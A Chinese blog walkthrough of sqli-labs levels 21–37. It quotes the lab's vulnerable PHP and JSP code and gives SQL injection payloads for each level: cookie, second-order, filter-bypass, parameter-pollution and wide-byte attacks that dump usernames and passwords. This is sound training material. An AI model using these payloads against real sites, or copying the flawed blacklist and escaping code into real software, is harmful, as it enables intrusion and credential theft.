sqli-labs之Page-2

第二十一关:base64编码的cooki注入

YOUR COOKIE : uname = YWRtaW4= and expires: Tue 10 Mar 2020 - 03:42:09

注:YWRtaW4=是admin经过base64编码。

在uname=后面进行注入,每次注入需要进行base64编码。

payload:

') union select 1,2,3#
JykgdW5pb24gc2VsZWN0IDEsMiwzIw==

第二十二关:同二十一关,闭合符号改为双引号即可

第二十三关:过滤了注释符的报错注入

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

因为注释符被过滤了,id='$id'后面的单引号就需要我们使用一个单引号去闭合。

两种payload:

?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),'3
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3 or '1' = '

第二十四关:二次排序注入

首先admin账号的密码为admin,然后注册一个用户名为admin'#,密码123456的账户,再进行登录admin'#账号,最后就可以重新修改admin'#账号的密码为123。会发现admin账号的密码被修改为123了。

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

账号名admin'#代入sql语句,就会将后面的语句给注释掉。

第二十五关:过滤了or和AND的注入

$id= blacklist($id);
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            
    $id= preg_replace('/AND/i',"", $id);        
    
    return $id;
}

payload:

?id=1' || updatexml(1,concat(0x23,database(),0x23),1)--+
?id=-1' union select 1,(select group_concat(username) from security.users),3--+

第二十五a关:25关的基础上没有单引号,且不能用报错注入而已。

payload:

?id=-1 union select 1,(select group_concat(username) from security.users),3--+

第二十六关

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            
    $id= preg_replace('/and/i',"", $id);        
    $id= preg_replace('/[\/\*]/',"", $id);        
    $id= preg_replace('/[--]/',"", $id);        
    $id= preg_replace('/[#]/',"", $id);            
    $id= preg_replace('/[\s]/',"", $id);        
    $id= preg_replace('/[\/\\\\]/',"", $id);        
    return $id;
}

在25关的基础上,过滤的更多了。主要是空格的过滤。

%a0代表空格,但是在Windows无法识别%a0,需要在Linux系统下进行。当然,也可以尝试一些其他的符号。

payload:

?id=100'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||'1

第二十六a关

闭合的符号变为')而已。

payload:

?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十七关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        
$id= preg_replace('/[--]/',"", $id);        
$id= preg_replace('/[#]/',"", $id);            
$id= preg_replace('/[ +]/',"", $id);        
$id= preg_replace('/select/m',"", $id);        
$id= preg_replace('/[ +]/',"", $id);        
$id= preg_replace('/union/s',"", $id);        
$id= preg_replace('/select/s',"", $id);        
$id= preg_replace('/UNION/s',"", $id);        
$id= preg_replace('/SELECT/s',"", $id);        
$id= preg_replace('/Union/s',"", $id);        
$id= preg_replace('/Select/s',"", $id);        
return $id;
}

这里采取大小写绕过。

payload:

?id=100'unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||'1

第二十七a关

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        
$id= preg_replace('/[--]/',"", $id);        
$id= preg_replace('/[#]/',"", $id);            
$id= preg_replace('/[ +]/',"", $id);        
$id= preg_replace('/select/m',"", $id);        
$id= preg_replace('/[ +]/',"", $id);        
$id= preg_replace('/union/s',"", $id);        
$id= preg_replace('/select/s',"", $id);        
$id= preg_replace('/UNION/s',"", $id);        
$id= preg_replace('/SELECT/s',"", $id);        
$id= preg_replace('/Union/s',"", $id);        
$id= preg_replace('/Select/s',"", $id);        
return $id;
}

单引号闭合变为双引号而已。

payload:

?id=100"unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),"3

第二十八关

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                
$id= preg_replace('/[--]/',"", $id);                
$id= preg_replace('/[#]/',"", $id);                    
$id= preg_replace('/[ +]/',"", $id);                
//$id= preg_replace('/select/m',"", $id);                    
$id= preg_replace('/[ +]/',"", $id);                
$id= preg_replace('/union\s+select/i',"", $id);        
return $id;
}

payload:

?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十八a关

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                
//$id= preg_replace('/[--]/',"", $id);                
//$id= preg_replace('/[#]/',"", $id);                    
//$id= preg_replace('/[ +]/',"", $id);                
//$id= preg_replace('/select/m',"", $id);                    
//$id= preg_replace('/[ +]/',"", $id);                
$id= preg_replace('/union\s+select/i',"", $id);        
return $id;
}

payload(绕过union和select的过滤即可):

?id=100%27)unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||(%271

第二十九关

两层服务器架构,攻击手段是HPP(http参数污染)。

第一层是tomcat,第二层是apache,返回数据的服务器是apache。

index.jsp

String rex = "^\\d+$";
                Boolean match=id.matches(rex);
                if(match == true)
                {
                    URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);

index.php

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload:

?id=1&id=-2'union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十关:29关的基础上,把单引号变双引号

$id = '"' .$id. '"';
$sql
="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload:

?id=1&id=-2"union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十一关:30关的基础上,多一个括号

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";

payload:

?id=1&id=-2")union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十二关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

gbk编码,当然首先就想到了宽字节注入。

payload:

?id=-1%df%27union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20security.users),3--+

第三十三关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

payload同32关一样。

注:使用addslashes()函数,我们需要将mysql_query设置为binary的方式,才能防御此漏洞。

Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

第三十四关

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

payload:

uname=-1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

第三十五关

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload(不知道这一关要干啥):

?id=-1 union select 1,user(),database()--+

第三十六关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

payload:

?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
?id=-1%df%27union%20select%201,user(),3--+

注:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。设置的代码为:Mysql_set_charset('gbk','$conn')

第三十七关:同34关

posted @ 2020-03-13 21:03  Paddling  阅读(274)  评论(0编辑  收藏  举报